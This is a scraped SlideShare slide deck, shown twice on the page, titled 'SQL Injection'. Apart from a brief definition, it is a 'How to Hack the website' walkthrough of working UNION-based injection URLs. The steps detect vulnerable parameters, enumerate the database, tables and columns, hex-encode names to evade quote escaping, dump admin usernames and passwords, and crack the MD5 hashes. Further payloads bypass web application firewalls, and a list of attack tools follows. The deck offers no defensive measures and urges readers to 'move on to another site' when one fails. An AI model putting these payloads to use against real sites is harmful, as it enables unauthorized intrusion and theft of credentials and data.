SlideShare a Scribd company logo
4
Most read
10
Most read
12
Most read
SQL Injection
Kaushal Kishore
Sr. Software Engineer
OSSCube Pvt. Ltd.
Kaushal.rahuljaiswal@gmail.com
www.osscube.com
What is SQL Injection

SQL injection is a technique that is applied by giving malicious inputs, that
result in allowing the hacker to access over the database of the Host, in
case if the database operations of that web sites is allowed directly...!

"SQL injection is a code injection technique that exploits a security
vulnerability occurring in the database layer of an application. The
vulnerability is present when user input is either incorrectly filtered for
string literal escape characters embedded in SQL statements or user input
is not strongly typed and thereby unexpectedly executed. It is an instance
of a more general class of vulnerabilities that can occur whenever one
programming or scripting language is embedded inside another. SQL
injection attacks are also known as SQL insertion attacks".
How to Hack the website Using
SQL Injection
SQL Injection
Check Site is vulnerable or Not?

Add the '(Single Quote) sign with the integer value in URL

http://www.examplesite.com/index.php?id=5'

If the site shows you an error it is vulnerable to SQL, lets say we
found a vulnerable site.
Find Number of Columns

http://www.examplesite.com/index.php?id=5 order by 1--

And we will keep increasing the number until we get an error.

http://www.examplesite.com/index.php?id=5 order by 5--

http://www.examplesite.com/index.php?id=5 order by 10--

Lets say there is 10 columns in the database.
Find vulnerable columns.

http://www.examplesite.com/index.php?id=-5 union select
1,2,3,4,5,6,7,8,9,10--

Notice that I have put a single - in front of the id number (id=-5)

Since there is no page with the id -5 it simply put just clears the
sites text for us. That makes it easier for us to find the data that we
are looking for.

Okay lets say the numbers 3, 6 and 9 popped up on the site, as
vulnerable columns.
Find Database Version

http://www.examplesite.com/index.php?id=-5 union select
1,2,@@version,4,5,6,7,8,9,10--

And if that doesn't work then try this 1:

http://www.examplesite.com/index.php?id=-5 union select
1,2,version(),4,5,6,7,8,9,10--
Find Database Name

http://www.examplesite.com/index.php?id=-5 union select 1,2,
concat(database()) ,4,5,6,7,8,9,10--

Write that name down so you wont forget it. Lets say the database
name i just extracted was named exampledatabase

If the version is 4 or below, it is probably best that you just move on to
another site since you are gonna have to brute force the tables for
information (which isn't a very good idea for starters like us )
Find the Tables Name

http://www.examplesite.com/index.php?id=-5 union select
1,2,group_concat(table_name),4,5,6,7,8,9,10 from
information_schema.tables where table_schema=database()--

http://www.examplesite.com/index.php?id=-5 union select
1,2,concat(table_name),4,5,6,7,8,9,10 from information_schema.tables
where table_schema=database()--

http://www.examplesite.com/index.php?id=-5 union select
1,2,table_name ,4,5,6,7,8,9,10 from information_schema.tables where
table_schema=database()--
Find the Columns Name

http://www.examplesite.com/index.php?id=-5 union select
1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns
where table_name="admin"--

If the site shows you an error now don't panic! All that means is that
Magic Quotes is turned on. To bypass this we need to convert the
text "admin" into hex.
Change the Name of Table to
Hex

Copy the name of the table you are trying to access, visit the site
Text to Hex, paste the name into the website where it says "Say
Hello To My Little Friend". Click Convert copy the hex into your
query like this.

http://www.examplesite.com/index.php?id=-5 union select
1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns
where table_name=0x61646d696e--

Notice the 0x before the hex string. This is to tell the server that the
next part is a hex string.

You should now see all the columns inside the table.
Find the Content of the Tables

Lets say there are 2 columns called username and password. In order
to see what are inside of those columns we will use this query:

http://www.examplesite.com/index.php?id=-5 union select
1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10 from
exampledatabase.admin--

This is where we needed the database name. Btw the 0x3a means
colon ( : )

Now you have the admin login!

If it is decrypted, try to run it through some online md5 'decrypters' or
use my free cracked

And now we have to find the admin login, to do so, once again you can
By Pass The WAF

http://www.example.com/staffdetail.php?id=123'+/*!
union*/select+1,2,3,4,5,6,7--+

http://www.example.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/
1,2,3--

http://www.example.com/staffdetail.php?id=123'+/*!union*//*!select*/
+all+1,2,table_name,4,5,6,7+FROM+information_schema.tables+W
HERE+table_schema+=+database()+LIMIT+0,10--+
Tools for SQL Injection

SQL Ninja

SQL Map

Havij
Questions
Thank you for your Time and
Attention!
17

More Related Content

What's hot (20)

PDF
How to identify and prevent SQL injection
Eguardian Global Services
 
PPTX
SQL injection
Raj Parmar
 
PPT
A Brief Introduction in SQL Injection
Sina Manavi
 
PPTX
SQL Injections - A Powerpoint Presentation
Rapid Purple
 
PPTX
Sql injection
Zidh
 
PPTX
Ppt on sql injection
ashish20012
 
PPTX
Sql injection
Sasha-Leigh Garret
 
PPTX
Whatis SQL Injection.pptx
Simplilearn
 
PPT
Hacking web applications
Adeel Javaid
 
PPT
Sql injection
Nikunj Dhameliya
 
PPTX
Web application security
Kapil Sharma
 
PDF
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Sandeep Kumbhar
 
PPTX
seminar report on Sql injection
Jawhar Ali
 
PPT
Sql injection
Nitish Kumar
 
PPTX
SQL Injection
Sayed Ahmad Naweed
 
PPTX
Sql injections - with example
Prateek Chauhan
 
PPTX
Vulnerabilities in modern web applications
Niyas Nazar
 
PPT
Sql injection
Pallavi Biswas
 
PPTX
Xss attack
Manjushree Mashal
 
PDF
Sql Injection - Vulnerability and Security
Sandip Chaudhari
 
How to identify and prevent SQL injection
Eguardian Global Services
 
SQL injection
Raj Parmar
 
A Brief Introduction in SQL Injection
Sina Manavi
 
SQL Injections - A Powerpoint Presentation
Rapid Purple
 
Sql injection
Zidh
 
Ppt on sql injection
ashish20012
 
Sql injection
Sasha-Leigh Garret
 
Whatis SQL Injection.pptx
Simplilearn
 
Hacking web applications
Adeel Javaid
 
Sql injection
Nikunj Dhameliya
 
Web application security
Kapil Sharma
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Sandeep Kumbhar
 
seminar report on Sql injection
Jawhar Ali
 
Sql injection
Nitish Kumar
 
SQL Injection
Sayed Ahmad Naweed
 
Sql injections - with example
Prateek Chauhan
 
Vulnerabilities in modern web applications
Niyas Nazar
 
Sql injection
Pallavi Biswas
 
Xss attack
Manjushree Mashal
 
Sql Injection - Vulnerability and Security
Sandip Chaudhari
 

Viewers also liked (17)

PPTX
SQL Injection
Marios Siganos
 
DOCX
Types of sql injection attacks
Respa Peter
 
PPT
Les attaques par injection sql
Mohamed Yassin
 
PDF
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
PPT
D:\Technical\Ppt\Sql Injection
avishkarm
 
PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Pichaya Morimoto
 
PPTX
SQL INJECTION
Anoop T
 
PPT
Web application attacks using Sql injection and countermasures
Cade Zvavanjanja
 
PDF
Introduction à la sécurité des applications web avec php [fr]
Wixiweb
 
PPT
Sql Injection Attacks Siddhesh
Siddhesh Bhobe
 
PDF
SQL injection: Not only AND 1=1
Bernardo Damele A. G.
 
PDF
SQL injection: Not Only AND 1=1 (updated)
Bernardo Damele A. G.
 
PPTX
SQL 2014 et la gestion de la sécurité
Microsoft Technet France
 
PDF
Time-Based Blind SQL Injection Using Heavy Queries
Chema Alonso
 
PDF
Sql Injection and XSS
Mike Crabb
 
PPT
Introduction to SQL Injection
jpubal
 
PDF
Advanced SQL Injection: Attacks
Nuno Loureiro
 
SQL Injection
Marios Siganos
 
Types of sql injection attacks
Respa Peter
 
Les attaques par injection sql
Mohamed Yassin
 
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
D:\Technical\Ppt\Sql Injection
avishkarm
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
Pichaya Morimoto
 
SQL INJECTION
Anoop T
 
Web application attacks using Sql injection and countermasures
Cade Zvavanjanja
 
Introduction à la sécurité des applications web avec php [fr]
Wixiweb
 
Sql Injection Attacks Siddhesh
Siddhesh Bhobe
 
SQL injection: Not only AND 1=1
Bernardo Damele A. G.
 
SQL injection: Not Only AND 1=1 (updated)
Bernardo Damele A. G.
 
SQL 2014 et la gestion de la sécurité
Microsoft Technet France
 
Time-Based Blind SQL Injection Using Heavy Queries
Chema Alonso
 
Sql Injection and XSS
Mike Crabb
 
Introduction to SQL Injection
jpubal
 
Advanced SQL Injection: Attacks
Nuno Loureiro
 
Ad

Similar to SQL Injection (20)

PDF
Asp
Adil Jafri
 
PDF
Blind sql injection
Kagi Adrian Zinelli
 
PDF
Blind sql injection
Kagi Adrian Zinelli
 
PPT
Website Security
Carlos Z
 
PPT
Website Security
MODxpo
 
PPT
secure php
Riyad Bin Zaman
 
PPTX
Sql Injection and Entity Frameworks
Rich Helton
 
PPTX
FORENSIC PRESTTN
Rufa'i Mustapha
 
PDF
Mysql python
Janu Jahnavi
 
PPTX
Mysql python
Janu Jahnavi
 
PDF
Things to keep in mind while creating a word press plugin from scratch
Elsner Technologies Pvt Ltd
 
PPTX
Sql injection ( http://etabz.blogspot.com/2014/11/sql-injection.html )
Ehtisham Ullah
 
PPT
SQL Injection Attacks
Compare Infobase Limited
 
PPTX
Mysql
lotlot
 
PPT
Securing Java EE Web Apps
Frank Kim
 
PPT
12-security.ppt - PHP and Arabic Language - Index
webhostingguy
 
PPT
Security.ppt
webhostingguy
 
PPTX
GCSECS-DefensiveDesign.pptx
azida3
 
PPT
Using Rails to Create an Enterprise App: A Real-Life Case Study
David Keener
 
Blind sql injection
Kagi Adrian Zinelli
 
Blind sql injection
Kagi Adrian Zinelli
 
Website Security
Carlos Z
 
Website Security
MODxpo
 
secure php
Riyad Bin Zaman
 
Sql Injection and Entity Frameworks
Rich Helton
 
FORENSIC PRESTTN
Rufa'i Mustapha
 
Mysql python
Janu Jahnavi
 
Mysql python
Janu Jahnavi
 
Things to keep in mind while creating a word press plugin from scratch
Elsner Technologies Pvt Ltd
 
Sql injection ( http://etabz.blogspot.com/2014/11/sql-injection.html )
Ehtisham Ullah
 
SQL Injection Attacks
Compare Infobase Limited
 
Mysql
lotlot
 
Securing Java EE Web Apps
Frank Kim
 
12-security.ppt - PHP and Arabic Language - Index
webhostingguy
 
Security.ppt
webhostingguy
 
GCSECS-DefensiveDesign.pptx
azida3
 
Using Rails to Create an Enterprise App: A Real-Life Case Study
David Keener
 
Ad

More from Adhoura Academy (7)

PPTX
Docker Presentation
Adhoura Academy
 
PPTX
Google Dorks
Adhoura Academy
 
ODP
Drupal Content Management System
Adhoura Academy
 
ODP
Content management system
Adhoura Academy
 
PPT
Java script final presentation
Adhoura Academy
 
PPT
Android Presentation
Adhoura Academy
 
PPT
Open Source Presentation
Adhoura Academy
 
Docker Presentation
Adhoura Academy
 
Google Dorks
Adhoura Academy
 
Drupal Content Management System
Adhoura Academy
 
Content management system
Adhoura Academy
 
Java script final presentation
Adhoura Academy
 
Android Presentation
Adhoura Academy
 
Open Source Presentation
Adhoura Academy
 

Recently uploaded (20)

PPTX
2025 Completing the Pre-SET Plan Form.pptx
mansk2
 
PPT
M&A5 Q1 1 differentiate evolving early Philippine conventional and contempora...
ErlizaRosete
 
PPTX
How to use _name_search() method in Odoo 18
Celine George
 
PPTX
How to Add New Item in CogMenu in Odoo 18
Celine George
 
PPTX
Iván Bornacelly - Presentation of the report - Empowering the workforce in th...
EduSkills OECD
 
PPT
M&A5 Q1 1 differentiate evolving early Philippine conventional and contempora...
ErlizaRosete
 
PPTX
How Physics Enhances Our Quality of Life.pptx
AngeliqueTolentinoDe
 
PDF
Our Guide to the July 2025 USPS® Rate Change
Postal Advocate Inc.
 
PPTX
ESP 10 Edukasyon sa Pagpapakatao PowerPoint Lessons Quarter 1.pptx
Sir J.
 
PDF
THE PSYCHOANALYTIC OF THE BLACK CAT BY EDGAR ALLAN POE (1).pdf
nabilahk908
 
PDF
CAD25 Gbadago and Fafa Presentation Revised-Aston Business School, UK.pdf
Kweku Zurek
 
PDF
Romanticism in Love and Sacrifice An Analysis of Oscar Wilde’s The Nightingal...
KaryanaTantri21
 
PPTX
A Case of Identity A Sociological Approach Fix.pptx
Ismail868386
 
PPTX
Peer Teaching Observations During School Internship
AjayaMohanty7
 
PDF
Free eBook ~100 Common English Proverbs (ebook) pdf.pdf
OH TEIK BIN
 
PDF
VCE Literature Section A Exam Response Guide
jpinnuck
 
PPTX
JSON, XML and Data Science introduction.pptx
Ramakrishna Reddy Bijjam
 
PPTX
How to use grouped() method in Odoo 18 - Odoo Slides
Celine George
 
PPTX
Martyrs of Ireland - who kept the faith of St. Patrick.pptx
Martin M Flynn
 
PDF
The Power of Compound Interest (Stanford Initiative for Financial Decision-Ma...
Stanford IFDM
 
2025 Completing the Pre-SET Plan Form.pptx
mansk2
 
M&A5 Q1 1 differentiate evolving early Philippine conventional and contempora...
ErlizaRosete
 
How to use _name_search() method in Odoo 18
Celine George
 
How to Add New Item in CogMenu in Odoo 18
Celine George
 
Iván Bornacelly - Presentation of the report - Empowering the workforce in th...
EduSkills OECD
 
M&A5 Q1 1 differentiate evolving early Philippine conventional and contempora...
ErlizaRosete
 
How Physics Enhances Our Quality of Life.pptx
AngeliqueTolentinoDe
 
Our Guide to the July 2025 USPS® Rate Change
Postal Advocate Inc.
 
ESP 10 Edukasyon sa Pagpapakatao PowerPoint Lessons Quarter 1.pptx
Sir J.
 
THE PSYCHOANALYTIC OF THE BLACK CAT BY EDGAR ALLAN POE (1).pdf
nabilahk908
 
CAD25 Gbadago and Fafa Presentation Revised-Aston Business School, UK.pdf
Kweku Zurek
 
Romanticism in Love and Sacrifice An Analysis of Oscar Wilde’s The Nightingal...
KaryanaTantri21
 
A Case of Identity A Sociological Approach Fix.pptx
Ismail868386
 
Peer Teaching Observations During School Internship
AjayaMohanty7
 
Free eBook ~100 Common English Proverbs (ebook) pdf.pdf
OH TEIK BIN
 
VCE Literature Section A Exam Response Guide
jpinnuck
 
JSON, XML and Data Science introduction.pptx
Ramakrishna Reddy Bijjam
 
How to use grouped() method in Odoo 18 - Odoo Slides
Celine George
 
Martyrs of Ireland - who kept the faith of St. Patrick.pptx
Martin M Flynn
 
The Power of Compound Interest (Stanford Initiative for Financial Decision-Ma...
Stanford IFDM
 

SQL Injection

  • 1. SQL Injection Kaushal Kishore Sr. Software Engineer OSSCube Pvt. Ltd. [email protected] www.osscube.com
  • 2. What is SQL Injection  SQL injection is a technique that is applied by giving malicious inputs, that result in allowing the hacker to access over the database of the Host, in case if the database operations of that web sites is allowed directly...!  "SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks".
  • 3. How to Hack the website Using SQL Injection
  • 5. Check Site is vulnerable or Not?  Add the '(Single Quote) sign with the integer value in URL  http://www.examplesite.com/index.php?id=5'  If the site shows you an error it is vulnerable to SQL, lets say we found a vulnerable site.
  • 6. Find Number of Columns  http://www.examplesite.com/index.php?id=5 order by 1--  And we will keep increasing the number until we get an error.  http://www.examplesite.com/index.php?id=5 order by 5--  http://www.examplesite.com/index.php?id=5 order by 10--  Lets say there is 10 columns in the database.
  • 7. Find vulnerable columns.  http://www.examplesite.com/index.php?id=-5 union select 1,2,3,4,5,6,7,8,9,10--  Notice that I have put a single - in front of the id number (id=-5)  Since there is no page with the id -5 it simply put just clears the sites text for us. That makes it easier for us to find the data that we are looking for.  Okay lets say the numbers 3, 6 and 9 popped up on the site, as vulnerable columns.
  • 8. Find Database Version  http://www.examplesite.com/index.php?id=-5 union select 1,2,@@version,4,5,6,7,8,9,10--  And if that doesn't work then try this 1:  http://www.examplesite.com/index.php?id=-5 union select 1,2,version(),4,5,6,7,8,9,10--
  • 9. Find Database Name  http://www.examplesite.com/index.php?id=-5 union select 1,2, concat(database()) ,4,5,6,7,8,9,10--  Write that name down so you wont forget it. Lets say the database name i just extracted was named exampledatabase  If the version is 4 or below, it is probably best that you just move on to another site since you are gonna have to brute force the tables for information (which isn't a very good idea for starters like us )
  • 10. Find the Tables Name  http://www.examplesite.com/index.php?id=-5 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--  http://www.examplesite.com/index.php?id=-5 union select 1,2,concat(table_name),4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--  http://www.examplesite.com/index.php?id=-5 union select 1,2,table_name ,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--
  • 11. Find the Columns Name  http://www.examplesite.com/index.php?id=-5 union select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name="admin"--  If the site shows you an error now don't panic! All that means is that Magic Quotes is turned on. To bypass this we need to convert the text "admin" into hex.
  • 12. Change the Name of Table to Hex  Copy the name of the table you are trying to access, visit the site Text to Hex, paste the name into the website where it says "Say Hello To My Little Friend". Click Convert copy the hex into your query like this.  http://www.examplesite.com/index.php?id=-5 union select 1,2,column_name,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x61646d696e--  Notice the 0x before the hex string. This is to tell the server that the next part is a hex string.  You should now see all the columns inside the table.
  • 13. Find the Content of the Tables  Lets say there are 2 columns called username and password. In order to see what are inside of those columns we will use this query:  http://www.examplesite.com/index.php?id=-5 union select 1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10 from exampledatabase.admin--  This is where we needed the database name. Btw the 0x3a means colon ( : )  Now you have the admin login!  If it is decrypted, try to run it through some online md5 'decrypters' or use my free cracked  And now we have to find the admin login, to do so, once again you can
  • 14. By Pass The WAF  http://www.example.com/staffdetail.php?id=123'+/*! union*/select+1,2,3,4,5,6,7--+  http://www.example.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3--  http://www.example.com/staffdetail.php?id=123'+/*!union*//*!select*/ +all+1,2,table_name,4,5,6,7+FROM+information_schema.tables+W HERE+table_schema+=+database()+LIMIT+0,10--+
  • 15. Tools for SQL Injection  SQL Ninja  SQL Map  Havij
  • 17. Thank you for your Time and Attention! 17